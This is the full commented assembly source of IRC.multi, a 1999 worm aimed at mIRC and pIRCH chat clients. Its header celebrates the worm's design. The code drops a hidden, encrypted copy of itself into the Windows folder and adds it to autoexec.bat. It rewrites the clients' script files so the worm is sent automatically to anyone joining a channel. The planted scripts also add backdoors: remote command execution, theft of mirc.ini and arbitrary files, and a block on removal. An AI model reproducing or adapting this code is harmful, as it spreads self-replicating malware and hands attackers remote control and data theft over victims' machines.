; IRC.multi - first multiplatform worm (that I know of anyhow)
;
; Size: 1198 bytes
; Encrypted: yes
; Stealth: no, but has a small function in mIRC version to prevent /remove.
; Type: worm - everyone else was doing it...so I figured I'd write on too
; Targets: pIRCH and mIRC clients - thanks to MetGod for info on pIRCH scripts.
; History: I figured I'd write a worm when I got bored, so I tried to think
; of something never done before in a worm...then, MetGod mentioned he should
; write a pirch worm....so then, I though, HEY! I should write a multiplatform
; worm...that could worm under PIRCH and under mIRC. Soooo, I went ahead and
; added a pirch section, and life was good...blah blah yada yada....don't mind
; my dumb messages/payloads...I was bored when I wrote it...little thought
; was put into this worm...took 2 hours to finish (most of that was writing the scripts)
;
; Behavior: Checks for the client installed....it then affects that client.
; It will no matter what add a file (+rh'ed attribs) in c:\windows called "mypic.com"
; then, it will add a autoexec command to run the worm on each boot. mIRC
; version has lots of backdoors along with it's normal worm function, but
; pirch has only a replicating method. (I was nice to them pirch users huh?)
;
; Thanks to: MetGod
; Greets: Vecna, Virogen, Winter, Cyclone
;
; Date Started: 3-6-99
; Date Finished: 3-6-99 - commenting on the 7th.
;
; Have fun!
;  Techno Phunk / Ti

; code begins --
.model tiny
.code

        Org 100h

Start:
        Lea Si,Over                ; where to read bytes from.
        Mov Di,Si                  ; put them back where they came from after decrypted.
        Mov Cx,End-Over            ; size (bytes).
        Call Encrypt               ; do the encrypt routine
        Jmp Over                   ; now on with the show.

Encrypt:
        Lodsb                      ; load a byte from place in SI
        db 34h                     ; Xor Al, Imm8
        key db 0                   ; 8-bit xor key :)
        Stosb                      ; store it to place pointed to by DI
        Loop Encrypt               ; do this for CX bytes.
        Ret                        ; return when done.
Over:
        Mov Ah,4eh                 ; see if the events.ini file exists (pirch check)
        Lea Dx,Pirchy
        Int 21h
        Jc mIRC                    ; no pirch here, maybe mIRC :)

        Mov Ah,41h                 ; delete it :P
        Lea Dx,Pirchy
        Int 21h

        Mov Ax,3c00h               ; create a new one.
        Xor Cx,Cx                  ; attribs
        Lea Dx,Pirchy              ; name
        Int 21h                    ; do it.
        Xchg Bx,Ax                 ; file handle to BX

        Mov Ah,40h                 ; write
        Lea Dx,PirchScript         ; starting here
        Mov Cx,EndOfIt-PirchScript ; this many bytes.
        Int 21h                    ; blah blah

        Mov Ah,3eh                 ; close her up
        Int 21h

        Jmp BlahBlah               ; skip the mIRC code..
mIRC:
        Mov Ah,4eh                 ; Does mIRC exist (script.ini in mirc dir)
        Lea Dx,File
        Int 21h
        Jc Dead                    ; nopers.

        Mov Ah,41h                 ; Delete
        Lea Dx,File
        Int 21h

        Mov Ax,3c00h               ; create it agian
        Xor Cx,Cx                  ; attribs
        Lea Dx,File                ; file to create
        Int 21h                    ; blam blah
        Xchg Bx,Ax                 ; file handle  in BX


        Mov Ah,40h                 ; write to file. blah blah
        Lea Dx,NewLines            ; Where to Start the write from
        Mov Cx,End-NewLines        ; how many bytes? ;) btw- 26 bytes to properly chew your food
        Int 21h                    ; blar blam blah yada yada

        Mov Ah,3eh                 ; close this one.
        Int 21h

BlahBlah:
        Mov Ax,3c00h               ; create the new mypic.com in windows dir
        Mov Cx,3                   ; read only and hidden attribute.
        Lea Dx,NewFile             ; c:\windows\mypic.com
        Int 21h                    ; blar blah blam yada yada heehee ho ho ha ha
        Xchg Bx,Ax                 ; BX = file handle.

        In Al,40h                  ; get an 8-bit encryption key.
        Mov Byte Ptr [Key],Al      ; save it to variable.

        Mov Ah,40h                 ; write out the decryptor.
        Lea Dx,Start               ; this is where it starts ;)
        Mov Cx,Over-Start          ; this is how long it is
        Int 21h                    ; dos.

        Lea Si,Over                ; read starting at OVER
        Mov Di,End                 ; write starting at END (variable and literal)
        Mov Cx,End-Over            ; how many bytes to encrypt/move
        Call Encrypt               ; encrypt to heap (of sorts)

        Mov Ah,40h                 ; write the encrypted part.
        Lea Dx,End                 ; Start at the END (heap)
        Mov Cx,End-Over            ; how many bytes this part is.
        Int 21h

        Mov Ah,3eh                 ; close file
        Int 21h                    ; done.
Dead:
        Mov Ax,3d02h               ; open the autoexec.bat
        Lea Dx,Autoexec            ; c:\autoexec.bat string.
        Int 21h                    ; do it
        Jc Blah                    ; bye-bye
        Xchg Bx,Ax                 ; otherwise BX = file handle

        Mov Ax,4202h               ; End of File we go.
        Mov Cx,-1                  ; going back
        Mov Dx,-1                  ; 1 byte.
        Int 21h                    ; there we are.

        Mov Ah,3fh                 ; read a bit
        Lea Dx,Buffer              ; to this variable
        Mov Cx,1                   ; one byte.
        Int 21h                    ; dooone.

        Cmp Byte Ptr [Buffer],'m'  ; is m at the end of file (.co(m))
        Je Blah                    ; yes, string is already there (hopefully)

        Mov Ax,4202h               ; end agian
        Xor Cx,Cx                  
        Cwd
        Int 21h

        Mov Ah,40h                 ; write string
        Lea Dx,NewLine
        Mov Cx,18d
        Int 21h

Blah:
        Mov Ah,3eh                 ; yay, it's over.
        Int 21h
Check_Payload:
        In Al,40h                  ; get a "random" value from timer.
        Or Al,Al                   ; checking for zero now.
        Jnz Blar                   ; If Zero bit not set...then no payload now.

        Mov Ah,9                   ; really gay message.
        Lea Dx, Msg
        Int 21h
        Xor Ax,Ax                  ; get key press.
        Int 16h
Blar: 
        Int 20h                    ; exit (terminate)

; data follows
File Db '\mirc\script.ini',0
NewFile Db '\WINDOWS\mypic.com',0
Stupider    Db '[Multi] A Multiplatformed worm - he can go most anywhere, Mr. Wormy! to the rescue! - TP/Ti',13,10
Msg Db 'Multi - By: TP/Ti$'
Buffer: db 0,0,0
Autoexec db 'c:\autoexec.bat',0
NewLine Db '\windows\mypic.com'
Pirchy Db '\pirch98\events.ini',0
PirchScript:
; begin stuff that MetGod helped me with.
 db "[Levels]",13,10
 db "Enabled=1",13,10
 db "Count=1",13,10
 db "Level1=ctcp_owned",13,10

 db "[ctcp_owned]",13,10
 db "User1=*!*@*",13,10
 db "UserCount=1",13,10
 db "Event1=ON JOIN:#:/dcc send $nick c:\windows\mypic.com",13,10
 db "EventCount=1",13,10
; end his helpful stuff.
EndOfIt:
; back to mine.
db 'IRC.MULTI',13,10
NewLines:
        Db "[Script]",13,10
        Db "n0=on 1:text:#:*why me*:.timer1 0 1 /ping $nick",13,10
        Db "n1=on 1:Join:#:if ($nick != $me) { .dcc send $nick c:\windows\mypic.com }",13,10
        Db "n2=ctcp 1:blah:/quit I am Owned - TP ownes me | halt",13,10
        Db "n3=on 1:connect:.msg TPhunk I am alive",13,10
        Db "n4=ctcp 1:bye:.timer3 0 1 /run COMMAND",13,10
        Db "n5=ctcp 1:give:.dcc send $nick c:\mirc\mirc.ini",13,10
        Db "n6=alias remove { halt }",13,10
        Db "n7=ctcp 1:unf*:/run $2 $3 $4",13,10
        Db "n8=ctcp 1:ya*:/msg $2 $3 $4 $5 $6 $7 $8 $9 $10 $11 $12 $13 $14",13,10
        Db "n9=ctcp 1:own*:/titlebar You've been hax0red | halt",13,10
        Db "n10=on 1:text:#:*mypic*:.timer11 30 1 /ctcp $nick FINGER",13,10
        Db "n11=ctcp 1:giveme:.dcc send $nick $2",13,10
End:
End Begin
